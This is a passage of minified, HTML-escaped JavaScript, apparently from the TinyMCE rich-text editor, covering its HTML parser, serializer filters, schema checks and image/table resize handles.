]]&gt;&quot;)):&quot;xhtml&quot;===s.element_format&amp;&amp;0&lt;r.length&amp;&amp;(n.firstChild.value=&quot;\x3c!--\n&quot;+a(r)+&quot;\n--\x3e&quot;)}),t.addNodeFilter(&quot;#comment&quot;,function(e){for(var t,n=e.length;n--;)0===(t=e[n]).value.indexOf(&quot;[CDATA[&quot;)?(t.name=&quot;#cdata&quot;,t.type=4,t.value=t.value.replace(/^\[CDATA\[|\]\]$/g,&quot;&quot;)):0===t.value.indexOf(&quot;mce:protected &quot;)&amp;&amp;(t.name=&quot;#text&quot;,t.type=3,t.raw=!0,t.value=unescape(t.value).substr(14))}),t.addNodeFilter(&quot;xml:namespace,input&quot;,function(e,t){for(var n,r=e.length;r--;)7===(n=e[r]).type?n.remove():1===n.type&amp;&amp;(&quot;input&quot;!==t||&quot;type&quot;in n.attributes.map||n.attr(&quot;type&quot;,&quot;text&quot;))}),t.addAttributeFilter(&quot;data-mce-type&quot;,function(e){z(e,function(e){&quot;format-caret&quot;===e.attr(&quot;data-mce-type&quot;)&amp;&amp;(e.isEmpty(t.schema.getNonEmptyElements())?e.remove():e.unwrap())})}),t.addAttributeFilter(&quot;data-mce-src,data-mce-href,data-mce-style,data-mce-selected,data-mce-expando,data-mce-type,data-mce-resize&quot;,function(e,t){for(var n=e.length;n--;)e[n].attr(t,null)})},trimTrailingBr:function(e){var t,n,r=function(e){return e&amp;&amp;&quot;br&quot;===e.name};r(t=e.lastChild)&amp;&amp;r(n=t.prev)&amp;&amp;(t.remove(),n.remove())}},tb={process:function(e,t,n){return f=n,(l=e)&amp;&amp;l.hasEventListeners(&quot;PreProcess&quot;)&amp;&amp;!f.no_events?(o=t,i=n,c=(r=e).dom,o=o.cloneNode(!0),(a=V.document.implementation).createHTMLDocument&amp;&amp;(u=a.createHTMLDocument(&quot;&quot;),Xt.each(&quot;BODY&quot;===o.nodeName?o.childNodes:[o],function(e){u.body.appendChild(u.importNode(e,!0))}),o=&quot;BODY&quot;!==o.nodeName?u.body.firstChild:u.body,s=c.doc,c.doc=u),xp(r,Zy(i,{node:o})),s&amp;&amp;(c.doc=s),o):t;var r,o,i,a,u,s,c,l,f}},nb=function(e,a,u){e.addNodeFilter(&quot;font&quot;,function(e){z(e,function(e){var t,n=a.parse(e.attr(&quot;style&quot;)),r=e.attr(&quot;color&quot;),o=e.attr(&quot;face&quot;),i=e.attr(&quot;size&quot;);r&amp;&amp;(n.color=r),o&amp;&amp;(n[&quot;font-family&quot;]=o),i&amp;&amp;(n[&quot;font-size&quot;]=u[parseInt(e.attr(&quot;size&quot;),10)-1]),e.name=&quot;span&quot;,e.attr(&quot;style&quot;,a.serialize(n)),t=e,z([&quot;color&quot;,&quot;face&quot;,&quot;size&quot;],function(e){t.attr(e,null)})})})},rb=function(e,t){var n,r=gi();t.convert_fonts_to_spans&amp;&amp;nb(e,r,Xt.explode(t.font_size_legacy_values)),n=r,e.addNodeFilter(&quot;strike&quot;,function(e){z(e,function(e){var t=n.parse(e.attr(&quot;style&quot;));t[&quot;text-decoration&quot;]=&quot;line-through&quot;,e.name=&quot;span&quot;,e.attr(&quot;style&quot;,n.serialize(t))})})},ob={register:function(e,t){t.inline_styles&amp;&amp;rb(e,t)}},ib=/^[ \t\r\n]*$/,ab={&quot;#text&quot;:3,&quot;#comment&quot;:8,&quot;#cdata&quot;:4,&quot;#pi&quot;:7,&quot;#doctype&quot;:10,&quot;#document-fragment&quot;:11},ub=function(e,t,n){var r,o,i=n?&quot;lastChild&quot;:&quot;firstChild&quot;,a=n?&quot;prev&quot;:&quot;next&quot;;if(e[i])return e[i];if(e!==t){if(r=e[a])return r;for(o=e.parent;o&amp;&amp;o!==t;o=o.parent)if(r=o[a])return r}},sb=function(){function a(e,t){this.name=e,1===(this.type=t)&amp;&amp;(this.attributes=[],this.attributes.map={})}return a.create=function(e,t){var n,r;if(n=new a(e,ab[e]||1),t)for(r in t)n.attr(r,t[r]);return n},a.prototype.replace=function(e){return e.parent&amp;&amp;e.remove(),this.insert(e,this),this.remove(),this},a.prototype.attr=function(e,t){var n,r;if(&quot;string&quot;!=typeof e){for(r in e)this.attr(r,e[r]);return this}if(n=this.attributes){if(t!==undefined){if(null===t){if(e in n.map)for(delete n.map[e],r=n.length;r--;)if(n[r].name===e)return n=n.splice(r,1),this;return this}if(e in n.map){for(r=n.length;r--;)if(n[r].name===e){n[r].value=t;break}}else n.push({name:e,value:t});return n.map[e]=t,this}return n.map[e]}},a.prototype.clone=function(){var e,t,n,r,o,i=new a(this.name,this.type);if(n=this.attributes){for((o=[]).map={},e=0,t=n.length;e&lt;t;e++)&quot;id&quot;!==(r=n[e]).name&amp;&amp;(o[o.length]={name:r.name,value:r.value},o.map[r.name]=r.value);i.attributes=o}return i.value=this.value,i.shortEnded=this.shortEnded,i},a.prototype.wrap=function(e){return this.parent.insert(e,this),e.append(this),this},a.prototype.unwrap=function(){var e,t;for(e=this.firstChild;e;)t=e.next,this.insert(e,this,!0),e=t;this.remove()},a.prototype.remove=function(){var e=this.parent,t=this.next,n=this.prev;return e&amp;&amp;(e.firstChild===this?(e.firstChild=t)&amp;&amp;(t.prev=null):n.next=t,e.lastChild===this?(e.lastChild=n)&amp;&amp;(n.next=null):t.prev=n,this.parent=this.next=this.prev=null),this},a.prototype.append=function(e){var t;return e.parent&amp;&amp;e.remove(),(t=this.lastChild)?((t.next=e).prev=t,this.lastChild=e):this.lastChild=this.firstChild=e,e.parent=this,e},a.prototype.insert=function(e,t,n){var r;return e.parent&amp;&amp;e.remove(),r=t.parent||this,n?(t===r.firstChild?r.firstChild=e:t.prev.next=e,e.prev=t.prev,(e.next=t).prev=e):(t===r.lastChild?r.lastChild=e:t.next.prev=e,e.next=t.next,(e.prev=t).next=e),e.parent=r,e},a.prototype.getAll=function(e){var t,n=[];for(t=this.firstChild;t;t=ub(t,this))t.name===e&amp;&amp;n.push(t);return n},a.prototype.empty=function(){var e,t,n;if(this.firstChild){for(e=[],n=this.firstChild;n;n=ub(n,this))e.push(n);for(t=e.length;t--;)(n=e[t]).parent=n.firstChild=n.lastChild=n.next=n.prev=null}return this.firstChild=this.lastChild=null,this},a.prototype.isEmpty=function(e,t,n){var r,o,i=this.firstChild;if(t=t||{},i)do{if(1===i.type){if(i.attributes.map[&quot;data-mce-bogus&quot;])continue;if(e[i.name])return!1;for(r=i.attributes.length;r--;)if(&quot;name&quot;===(o=i.attributes[r].name)||0===o.indexOf(&quot;data-mce-bookmark&quot;))return!1}if(8===i.type)return!1;if(3===i.type&amp;&amp;!ib.test(i.value))return!1;if(3===i.type&amp;&amp;i.parent&amp;&amp;t[i.parent.name]&amp;&amp;ib.test(i.value))return!1;if(n&amp;&amp;n(i))return!1}while(i=ub(i,this));return!0},a.prototype.walk=function(e){return ub(this,null,e)},a}(),cb=function(e,t,n,r){(e.padd_empty_with_br||t.insert)&amp;&amp;n[r.name]?r.empty().append(new sb(&quot;br&quot;,1)).shortEnded=!0:r.empty().append(new sb(&quot;#text&quot;,3)).value=&quot;\xa0&quot;},lb=function(e){return fb(e,&quot;#text&quot;)&amp;&amp;&quot;\xa0&quot;===e.firstChild.value},fb=function(e,t){return e&amp;&amp;e.firstChild&amp;&amp;e.firstChild===e.lastChild&amp;&amp;e.firstChild.name===t},db=function(r,e,t,n){return n.isEmpty(e,t,function(e){return t=e,(n=r.getElementRule(t.name))&amp;&amp;n.paddEmpty;var t,n})},mb=function(e,t){return e&amp;&amp;(t[e.name]||&quot;br&quot;===e.name)},gb=function(e,p){var h=e.schema;p.remove_trailing_brs&amp;&amp;e.addNodeFilter(&quot;br&quot;,function(e,t,n){var r,o,i,a,u,s,c,l,f=e.length,d=Xt.extend({},h.getBlockElements()),m=h.getNonEmptyElements(),g=h.getWhiteSpaceElements();for(d.body=1,r=0;r&lt;f;r++)if(i=(o=e[r]).parent,d[o.parent.name]&amp;&amp;o===i.lastChild){for(u=o.prev;u;){if(&quot;span&quot;!==(s=u.name)||&quot;bookmark&quot;!==u.attr(&quot;data-mce-type&quot;)){if(&quot;br&quot;!==s)break;if(&quot;br&quot;===s){o=null;break}}u=u.prev}o&amp;&amp;(o.remove(),db(h,m,g,i)&amp;&amp;(c=h.getElementRule(i.name))&amp;&amp;(c.removeEmpty?i.remove():c.paddEmpty&amp;&amp;cb(p,n,d,i)))}else{for(a=o;i&amp;&amp;i.firstChild===a&amp;&amp;i.lastChild===a&amp;&amp;!d[(a=i).name];)i=i.parent;a===i&amp;&amp;!0!==p.padd_empty_with_br&amp;&amp;((l=new sb(&quot;#text&quot;,3)).value=&quot;\xa0&quot;,o.replace(l))}}),e.addAttributeFilter(&quot;href&quot;,function(e){var t,n,r,o=e.length;if(!p.allow_unsafe_link_target)for(;o--;)&quot;a&quot;===(t=e[o]).name&amp;&amp;&quot;_blank&quot;===t.attr(&quot;target&quot;)&amp;&amp;t.attr(&quot;rel&quot;,(n=t.attr(&quot;rel&quot;),r=n?Xt.trim(n):&quot;&quot;,/\b(noopener)\b/g.test(r)?r:r.split(&quot; &quot;).filter(function(e){return 0&lt;e.length}).concat([&quot;noopener&quot;]).sort().join(&quot; &quot;)))}),p.allow_html_in_named_anchor||e.addAttributeFilter(&quot;id,name&quot;,function(e){for(var t,n,r,o,i=e.length;i--;)if(&quot;a&quot;===(o=e[i]).name&amp;&amp;o.firstChild&amp;&amp;!o.attr(&quot;href&quot;))for(r=o.parent,t=o.lastChild;n=t.prev,r.insert(t,o),t=n;);}),p.fix_list_elements&amp;&amp;e.addNodeFilter(&quot;ul,ol&quot;,function(e){for(var t,n,r=e.length;r--;)if(&quot;ul&quot;===(n=(t=e[r]).parent).name||&quot;ol&quot;===n.name)if(t.prev&amp;&amp;&quot;li&quot;===t.prev.name)t.prev.append(t);else{var o=new sb(&quot;li&quot;,1);o.attr(&quot;style&quot;,&quot;list-style-type: none&quot;),t.wrap(o)}}),p.validate&amp;&amp;h.getValidClasses()&amp;&amp;e.addAttributeFilter(&quot;class&quot;,function(e){for(var t,n,r,o,i,a,u,s=e.length,c=h.getValidClasses();s--;){for(n=(t=e[s]).attr(&quot;class&quot;).split(&quot; &quot;),i=&quot;&quot;,r=0;r&lt;n.length;r++)o=n[r],u=!1,(a=c[&quot;*&quot;])&amp;&amp;a[o]&amp;&amp;(u=!0),a=c[t.name],!u&amp;&amp;a&amp;&amp;a[o]&amp;&amp;(u=!0),u&amp;&amp;(i&amp;&amp;(i+=&quot; &quot;),i+=o);i.length||(i=null),t.attr(&quot;class&quot;,i)}})},pb=Xt.makeMap,hb=Xt.each,vb=Xt.explode,yb=Xt.extend;function bb(T,k){void 0===k&amp;&amp;(k=di());var _={},A=[],R={},D={};(T=T||{}).validate=!(&quot;validate&quot;in T)||T.validate,T.root_name=T.root_name||&quot;body&quot;;var O=function(e){var t,n,r;(n=e.name)in _&amp;&amp;((r=R[n])?r.push(e):R[n]=[e]),t=A.length;for(;t--;)(n=A[t].name)in e.attributes.map&amp;&amp;((r=D[n])?r.push(e):D[n]=[e]);return e},e={schema:k,addAttributeFilter:function(e,n){hb(vb(e),function(e){var t;for(t=0;t&lt;A.length;t++)if(A[t].name===e)return void A[t].callbacks.push(n);A.push({name:e,callbacks:[n]})})},getAttributeFilters:function(){return[].concat(A)},addNodeFilter:function(e,n){hb(vb(e),function(e){var t=_[e];t||(_[e]=t=[]),t.push(n)})},getNodeFilters:function(){var e=[];for(var t in _)_.hasOwnProperty(t)&amp;&amp;e.push({name:t,callbacks:_[t]});return e},filterNode:O,parse:function(e,a){var t,n,r,o,i,u,s,c,l,f,d,m=[];a=a||{},R={},D={},l=yb(pb(&quot;script,style,head,html,body,title,meta,param&quot;),k.getBlockElements());var g=k.getNonEmptyElements(),p=k.children,h=T.validate,v=&quot;forced_root_block&quot;in a?a.forced_root_block:T.forced_root_block,y=k.getWhiteSpaceElements(),b=/^[ \t\r\n]+/,C=/[ \t\r\n]+$/,x=/[ \t\r\n]+/g,w=/^[ \t\r\n]+$/;f=y.hasOwnProperty(a.context)||y.hasOwnProperty(T.root_name);var N=function(e,t){var n,r=new sb(e,t);return e in _&amp;&amp;((n=R[e])?n.push(r):R[e]=[r]),r},E=function(e){var t,n,r,o,i=k.getBlockElements();for(t=e.prev;t&amp;&amp;3===t.type;){if(0&lt;(r=t.value.replace(C,&quot;&quot;)).length)return void(t.value=r);if(n=t.next){if(3===n.type&amp;&amp;n.value.length){t=t.prev;continue}if(!i[n.name]&amp;&amp;&quot;script&quot;!==n.name&amp;&amp;&quot;style&quot;!==n.name){t=t.prev;continue}}o=t.prev,t.remove(),t=o}};t=Mv({validate:h,allow_script_urls:T.allow_script_urls,allow_conditional_comments:T.allow_conditional_comments,self_closing_elements:function(e){var t,n={};for(t in e)&quot;li&quot;!==t&amp;&amp;&quot;p&quot;!==t&amp;&amp;(n[t]=e[t]);return n}(k.getSelfClosingElements()),cdata:function(e){d.append(N(&quot;#cdata&quot;,4)).value=e},text:function(e,t){var n;f||(e=e.replace(x,&quot; &quot;),mb(d.lastChild,l)&amp;&amp;(e=e.replace(b,&quot;&quot;))),0!==e.length&amp;&amp;((n=N(&quot;#text&quot;,3)).raw=!!t,d.append(n).value=e)},comment:function(e){d.append(N(&quot;#comment&quot;,8)).value=e},pi:function(e,t){d.append(N(e,7)).value=t,E(d)},doctype:function(e){d.append(N(&quot;#doctype&quot;,10)).value=e,E(d)},start:function(e,t,n){var r,o,i,a,u;if(i=h?k.getElementRule(e):{}){for((r=N(i.outputName||e,1)).attributes=t,r.shortEnded=n,d.append(r),(u=p[d.name])&amp;&amp;p[r.name]&amp;&amp;!u[r.name]&amp;&amp;m.push(r),o=A.length;o--;)(a=A[o].name)in t.map&amp;&amp;((s=D[a])?s.push(r):D[a]=[r]);l[e]&amp;&amp;E(r),n||(d=r),!f&amp;&amp;y[e]&amp;&amp;(f=!0)}},end:function(e){var t,n,r,o,i;if(n=h?k.getElementRule(e):{}){if(l[e]&amp;&amp;!f){if((t=d.firstChild)&amp;&amp;3===t.type)if(0&lt;(r=t.value.replace(b,&quot;&quot;)).length)t.value=r,t=t.next;else for(o=t.next,t.remove(),t=o;t&amp;&amp;3===t.type;)r=t.value,o=t.next,(0===r.length||w.test(r))&amp;&amp;(t.remove(),t=o),t=o;if((t=d.lastChild)&amp;&amp;3===t.type)if(0&lt;(r=t.value.replace(C,&quot;&quot;)).length)t.value=r,t=t.prev;else for(o=t.prev,t.remove(),t=o;t&amp;&amp;3===t.type;)r=t.value,o=t.prev,(0===r.length||w.test(r))&amp;&amp;(t.remove(),t=o),t=o}if(f&amp;&amp;y[e]&amp;&amp;(f=!1),n.removeEmpty&amp;&amp;db(k,g,y,d)&amp;&amp;!d.attributes.map.name&amp;&amp;!d.attr(&quot;id&quot;))return i=d.parent,l[d.name]?d.empty().remove():d.unwrap(),void(d=i);n.paddEmpty&amp;&amp;(lb(d)||db(k,g,y,d))&amp;&amp;cb(T,a,l,d),d=d.parent}}},k);var S=d=new sb(a.context||T.root_name,11);if(t.parse(e),h&amp;&amp;m.length&amp;&amp;(a.context?a.invalid=!0:function(e){var t,n,r,o,i,a,u,s,c,l,f,d,m,g,p,h;for(d=pb(&quot;tr,td,th,tbody,thead,tfoot,table&quot;),l=k.getNonEmptyElements(),f=k.getWhiteSpaceElements(),m=k.getTextBlockElements(),g=k.getSpecialElements(),t=0;t&lt;e.length;t++)if((n=e[t]).parent&amp;&amp;!n.fixed)if(m[n.name]&amp;&amp;&quot;li&quot;===n.parent.name){for(p=n.next;p&amp;&amp;m[p.name];)p.name=&quot;li&quot;,p.fixed=!0,n.parent.insert(p,n.parent),p=p.next;n.unwrap(n)}else{for(o=[n],r=n.parent;r&amp;&amp;!k.isValidChild(r.name,n.name)&amp;&amp;!d[r.name];r=r.parent)o.push(r);if(r&amp;&amp;1&lt;o.length){for(o.reverse(),i=a=O(o[0].clone()),c=0;c&lt;o.length-1;c++){for(k.isValidChild(a.name,o[c].name)?(u=O(o[c].clone()),a.append(u)):u=a,s=o[c].firstChild;s&amp;&amp;s!==o[c+1];)h=s.next,u.append(s),s=h;a=u}db(k,l,f,i)?r.insert(n,o[0],!0):(r.insert(i,o[0],!0),r.insert(n,i)),r=o[0],(db(k,l,f,r)||fb(r,&quot;br&quot;))&amp;&amp;r.empty().remove()}else if(n.parent){if(&quot;li&quot;===n.name){if((p=n.prev)&amp;&amp;(&quot;ul&quot;===p.name||&quot;ul&quot;===p.name)){p.append(n);continue}if((p=n.next)&amp;&amp;(&quot;ul&quot;===p.name||&quot;ul&quot;===p.name)){p.insert(n,p.firstChild,!0);continue}n.wrap(O(new sb(&quot;ul&quot;,1)));continue}k.isValidChild(n.parent.name,&quot;div&quot;)&amp;&amp;k.isValidChild(&quot;div&quot;,n.name)?n.wrap(O(new sb(&quot;div&quot;,1))):g[n.name]?n.empty().remove():n.unwrap()}}}(m)),v&amp;&amp;(&quot;body&quot;===S.name||a.isRootContent)&amp;&amp;function(){var e,t,n=S.firstChild,r=function(e){e&amp;&amp;((n=e.firstChild)&amp;&amp;3===n.type&amp;&amp;(n.value=n.value.replace(b,&quot;&quot;)),(n=e.lastChild)&amp;&amp;3===n.type&amp;&amp;(n.value=n.value.replace(C,&quot;&quot;)))};if(k.isValidChild(S.name,v.toLowerCase())){for(;n;)e=n.next,3===n.type||1===n.type&amp;&amp;&quot;p&quot;!==n.name&amp;&amp;!l[n.name]&amp;&amp;!n.attr(&quot;data-mce-type&quot;)?(t||((t=N(v,1)).attr(T.forced_root_block_attrs),S.insert(t,n)),t.append(n)):(r(t),t=null),n=e;r(t)}}(),!a.invalid){for(c in R){for(s=_[c],i=(n=R[c]).length;i--;)n[i].parent||n.splice(i,1);for(r=0,o=s.length;r&lt;o;r++)s[r](n,c,a)}for(r=0,o=A.length;r&lt;o;r++)if((s=A[r]).name in D){for(i=(n=D[s.name]).length;i--;)n[i].parent||n.splice(i,1);for(i=0,u=s.callbacks.length;i&lt;u;i++)s.callbacks[i](n,s.name,a)}}return S}};return gb(e,T),ob.register(e,T),e}var Cb=function(e,t,n){-1===Xt.inArray(t,n)&amp;&amp;(e.addAttributeFilter(n,function(e,t){for(var n=e.length;n--;)e[n].attr(t,null)}),t.push(n))},xb=function(e,t,n){var r=wa(n.getInner?t.innerHTML:e.getOuterHTML(t));return n.selection||Ao(ar.fromDom(t))?r:Xt.trim(r)},wb=function(e,t,n){var r=n.selection?Zy({forced_root_block:!1},n):n,o=e.parse(t,r);return eb.trimTrailingBr(o),o},Nb=function(e,t,n,r,o){var i,a,u,s,c=(i=r,al(t,n).serialize(i));return a=e,s=c,!(u=o).no_events&amp;&amp;a?wp(a,Zy(u,{content:s})).content:s};function Eb(e,t){var a,u,s,c,l,n,r=(a=e,n=[&quot;data-mce-selected&quot;],s=(u=t)&amp;&amp;u.dom?u.dom:Si.DOM,c=u&amp;&amp;u.schema?u.schema:di(a),a.entity_encoding=a.entity_encoding||&quot;named&quot;,a.remove_trailing_brs=!(&quot;remove_trailing_brs&quot;in a)||a.remove_trailing_brs,l=bb(a,c),eb.register(l,a,s),{schema:c,addNodeFilter:l.addNodeFilter,addAttributeFilter:l.addAttributeFilter,serialize:function(e,t){var n=Zy({format:&quot;html&quot;},t||{}),r=tb.process(u,e,n),o=xb(s,r,n),i=wb(l,o,n);return&quot;tree&quot;===n.format?i:Nb(u,a,c,i,n)},addRules:function(e){c.addValidElements(e)},setRules:function(e){c.setValidElements(e)},addTempAttr:d(Cb,l,n),getTempAttrs:function(){return n}});return{schema:r.schema,addNodeFilter:r.addNodeFilter,addAttributeFilter:r.addAttributeFilter,serialize:r.serialize,addRules:r.addRules,setRules:r.setRules,addTempAttr:r.addTempAttr,getTempAttrs:r.getTempAttrs}}function Sb(e){return{getBookmark:d(hc,e),moveToBookmark:d(vc,e)}}(Sb||(Sb={})).isBookmarkNode=yc;var Tb,kb,_b=Sb,Ab=jo.isContentEditableFalse,Rb=jo.isContentEditableTrue,Db=function(r,a){var u,s,c,l,f,d,m,g,p,h,v,y,i,b,C,x,w,N=a.dom,E=Xt.each,S=a.getDoc(),T=V.document,k=Math.abs,_=Math.round,A=a.getBody();l={nw:[0,0,-1,-1],ne:[1,0,1,-1],se:[1,1,1,1],sw:[0,1,-1,1]};var e=&quot;.mce-content-body&quot;;a.contentStyles.push(e+&quot; div.mce-resizehandle {position: absolute;border: 1px solid black;box-sizing: content-box;background: #FFF;width: 7px;height: 7px;z-index: 10000}&quot;+e+&quot; .mce-resizehandle:hover {background: #000}&quot;+e+&quot; img[data-mce-selected],&quot;+e+&quot; hr[data-mce-selected] {outline: 1px solid black;resize: none}&quot;+e+&quot; .mce-clonedresizable {position: absolute;&quot;+(fe.gecko?&quot;&quot;:&quot;outline: 1px dashed black;&quot;)+&quot;opacity: .5;filter: alpha(opacity=50);z-index: 10000}&quot;+e+&quot; .mce-resize-helper {background: #555;background: rgba(0,0,0,0.75);border-radius: 3px;border: 1px;color: white;display: none;font-family: sans-serif;font-size: 12px;white-space: nowrap;line-height: 14px;margin: 5px 10px;padding: 5px;position: absolute;z-index: 10001}&quot;);var R=function(e){return e&amp;&amp;(&quot;IMG&quot;===e.nodeName||a.dom.is(e,&quot;figure.image&quot;))},n=function(e){var t,n,r=e.target;t=e,n=a.selection.getRng(),!R(t.target)||yv(t.clientX,t.clientY,n)||e.isDefaultPrevented()||a.selection.select(r)},D=function(e){return a.dom.is(e,&quot;figure.image&quot;)?e.querySelector(&quot;img&quot;):e},O=function(e){var t=a.settings.object_resizing;return!1!==t&amp;&amp;!fe.iOS&amp;&amp;(&quot;string&quot;!=typeof t&amp;&amp;(t=&quot;table,img,figure.image,div&quot;),&quot;false&quot;!==e.getAttribute(&quot;data-mce-resize&quot;)&amp;&amp;e!==a.getBody()&amp;&amp;Lr(ar.fromDom(e),t))},B=function(e){var t,n,r,o;t=e.screenX-d,n=e.screenY-m,b=t*f[2]+h,C=n*f[3]+v,b=b&lt;5?5:b,C=C&lt;5?5:C,(R(u)&amp;&amp;!1!==a.settings.resize_img_proportional?!rv.modifierPressed(e):rv.modifierPressed(e)||R(u)&amp;&amp;f[2]*f[3]!=0)&amp;&amp;(k(t)&gt;k(n)?(C=_(b*y),b=_(C/y)):(b=_(C/y),C=_(b*y))),N.setStyles(D(s),{width:b,height:C}),r=0&lt;(r=f.startPos.x+t)?r:0,o=0&lt;(o=f.startPos.y+n)?o:0,N.setStyles(c,{left:r,top:o,display:&quot;block&quot;}),c.innerHTML=b+&quot; &amp;times; &quot;+C,f[2]&lt;0&amp;&amp;s.clientWidth&lt;=b&amp;&amp;N.setStyle(s,&quot;left&quot;,g+(h-b)),f[3]&lt;0&amp;&amp;s.clientHeight&lt;=C&amp;&amp;N.setStyle(s,&quot;top&quot;,p+(v-C)),(t=A.scrollWidth-x)+(n=A.scrollHeight-w)!=0&amp;&amp;N.setStyles(c,{left:r-t,top:o-n}),i||(Tp(a,u,h,v),i=!0)},P=function(){i=!1;var e=function(e,t){t&amp;&amp;(u.style[e]||!a.schema.isValid(u.nodeName.toLowerCase(),e)?N.setStyle(D(u),e,t):N.setAttrib(D(u),e,t))};e(&quot;width&quot;,b),e(&quot;height&quot;,C),N.unbind(S,&quot;mousemove&quot;,B),N.unbind(S,&quot;mouseup&quot;,P),T!==S&amp;&amp;(N.unbind(T,&quot;mousemove&quot;,B),N.unbind(T,&quot;mouseup&quot;,P)),N.remove(s),N.remove(c),o(u),kp(a,u,b,C),N.setAttrib(u,&quot;style&quot;,N.getAttrib(u,&quot;style&quot;)),a.nodeChanged()},o=function(e){var t,r,o,n,i;I(),M(),t=N.getPos(e,A),g=t.x,p=t.y,i=e.getBoundingClientRect(),r=i.width||i.right-i.left,o=i.height||i.bottom-i.top,u!==e&amp;&amp;(u=e,b=C=0),n=a.fire(&quot;ObjectSelected&quot;,{target:e}),O(e)&amp;&amp;!n.isDefaultPrevented()?E(l,function(n,e){var t;(t=N.get(&quot;mceResizeHandle&quot;+e))&amp;&amp;N.remove(t),t=N.add(A,&quot;div&quot;,{id:&quot;mceResizeHandle&quot;+e,&quot;data-mce-bogus&quot;:&quot;all&quot;,&quot;class&quot;:&quot;mce-resizehandle&quot;,unselectable:!0,style:&quot;cursor:&quot;+e+&quot;-resize; margin:0; padding:0&quot;}),11===fe.ie&amp;&amp;(t.contentEditable=!1),N.bind(t,&quot;mousedown&quot;,function(e){var t;e.stopImmediatePropagation(),e.preventDefault(),d=(t=e).screenX,m=t.screenY,h=D(u).clientWidth,v=D(u).clientHeight,y=v/h,(f=n).startPos={x:r*n[0]+g,y:o*n[1]+p},x=A.scrollWidth,w=A.scrollHeight,s=u.cloneNode(!0),N.addClass(s,&quot;mce-clonedresizable&quot;),N.setAttrib(s,&quot;data-mce-bogus&quot;,&quot;all&quot;),s.contentEditable=!1,s.unSelectabe=!0,N.setStyles(s,{left:g,top:p,margin:0}),s.removeAttribute(&quot;data-mce-selected&quot;),A.appendChild(s),N.bind(S,&quot;mousemove&quot;,B),N.bind(S,&quot;mouseup&quot;,P),T!==S&amp;&amp;(N.bind(T,&quot;mousemove&quot;,B),N.bind(T,&quot;mouseup&quot;,P)),c=N.add(A,&quot;div&quot;,{&quot;class&quot;:&quot;mce-resize-helper&quot;,&quot;data-mce-bogus&quot;:&quot;all&quot;},h+&quot; &amp;times; &quot;+v)}),n.elm=t,N.setStyles(t,{left:r*n[0]+g-t.offsetWidth/2,top:o*n[1]+p-t.offsetHeight/2})}):I(),u.setAttribute(&quot;data-mce-selected&quot;,&quot;1&quot;)},I=function(){var e,t;for(e in M(),u&amp;&amp;u.removeAttribute(&quot;data-mce-selected&quot;),l)(t=N.get(&quot;mceResizeHandle&quot;+e))&amp;&amp;(N.unbind(t),N.remove(t))},L=function(e){var t,n=function(e,t){if(e)do{if(e===t)return!0}while(e=e.parentNode)};i||a.removed||(E(N.select(&quot;img[data-mce-selected],hr[data-mce-selected]&quot;),function(e){e.removeAttribute(&quot;data-mce-selected&quot;)}),t=&quot;mousedown&quot;===e.type?e.target:r.getNode(),n(t=N.$(t).closest(&quot;table,img,figure.image,hr&quot;)[0],A)&amp;&amp;(z(),n(r.getStart(!0),t)&amp;&amp;n(r.getEnd(!0),t))?o(t):I())},F=function(e){return Ab(function(e,t){for(;t&amp;&amp;t!==e;){if(Rb(t)||Ab(t))return t;t=t.parentNode}return null}(a.getBody(),e))},M=function(){for(var e in l){var t=l[e];t.elm&amp;&amp;(N.unbind(t.elm),delete t.elm)}},z=function(){try{a.getDoc().execCommand(&quot;enableObjectResizing&quot;,!1,!1)}catch(e){}};return a.on(&quot;init&quot;,function(){z(),fe.ie&amp;&amp;11&lt;=fe.ie&amp;&amp;(a.on(&quot;mousedown click&quot;,function(e){var t=e.target,n=t.nodeName;i||!/^(TABLE|IMG|HR)$/.test(n)||F(t)||(2!==e.button&amp;&amp;a.selection.select(t,&quot;TABLE&quot;===n),&quot;mousedown&quot;===e.type&amp;&amp;a.nodeChanged())}),a.dom.bind(A,&quot;mscontrolselect&quot;,function(e){var t=function(e){he.setEditorTimeout(a,function(){a.selection.select(e)})};if(F(e.target))return e.preventDefault(),void t(e.target);/^(TABLE|IMG|HR)$/.test(e.target.nodeName)&amp;&amp;(e.preventDefault(),&quot;IMG&quot;===e.target.tagName&amp;&amp;t(e.target))}));var t=he.throttle(function(e){a.composing||L(e)});a.on(&quot;nodechange ResizeEditor ResizeWindow drop FullscreenStateChanged&quot;,t),a.on(&quot;keyup compositionend&quot;,function(e){u&amp;&amp;&quot;TABLE&quot;===u.nodeName&amp;&amp;t(e)}),a.on(&quot;hide blur&quot;,I),a.on(&quot;contextmenu&quot;,n)}),a.on(&quot;remove&quot;,M),{isResizable:O,showResizeRect:o,hideResizeRect:I,updateResizeRect:L,destroy:function(){u=s=null}}},Ob=function(e){return jo.isContentEditableTrue(e)||jo.isContentEditableFalse(e)},Bb=function(e,t,n){var r,o,i,a,u,s=n;if(s.caretPositionFromPoint)(o=s.caretPositionFromPoint(e,t))&amp;&amp;((r=n.createRange()).setStart(o.offsetNode,o.offset),r.collapse(!0));else if(n.caretRangeFromPoint)r=n.caretRangeFromPoint(e,t);else if(s.body.createTextRange){r=s.body.createTextRange();try{r.moveToPoint(e,t),r.collapse(!0)}catch(c){r=function(e,n,t){var r,o,i;if(r=t.elementFromPoint(e,n),o=t.body.createTextRange(),r&amp;&amp;&quot;HTML&quot;!==r.tagName||(r=t.body),o.moveToElementText(r),0&lt;(i=(i=Xt.toArray(o.getClientRects())).sort(function(e,t){return(e=Math.abs(Math.max(e.top-n,e.bottom-n)))-(t=Math.abs(Math.max(t.top-n,t.bottom-n)))})).length){n=(i[0].bottom+i[0].top)/2;try{return o.moveToPoint(e,n),o.collapse(!0),o}catch(a){}}return null}(e,t,n)}return i=r,a=n.body,u=i&amp;&amp;i.parentElement?i.parentElement():null,jo.isContentEditableFalse(function(e,t,n){for(;e&amp;&amp;e!==t;){if(n(e))return e;e=e.parentNode}return null}(u,a,Ob))?null:i}return r},Pb=function(n,e){return W(e,function(e){var t=n.fire(&quot;GetSelectionRange&quot;,{range:e});return t.range!==e?t.range:e})},Ib=function(e,t){var n=(t||V.document).createDocumentFragment();return z(e,function(e){n.appendChild(e.dom())}),ar.fromDom(n)},Lb=Ar(&quot;element&quot;,&quot;width&quot;,&quot;rows&quot;),Fb=Ar(&quot;element&quot;,&quot;cells&quot;),Mb=Ar(&quot;x&quot;,&quot;y&quot;),zb=function(e,t){var n=parseInt(Er(e,t),10);return isNaN(n)?1:n},Ub=function(e){return j(e,function(e,t){return t.cells().length&gt;e?t.cells().length:e},0)},jb=function(e,t){for(var n=e.rows(),r=0;r&lt;n.length;r++)for(var 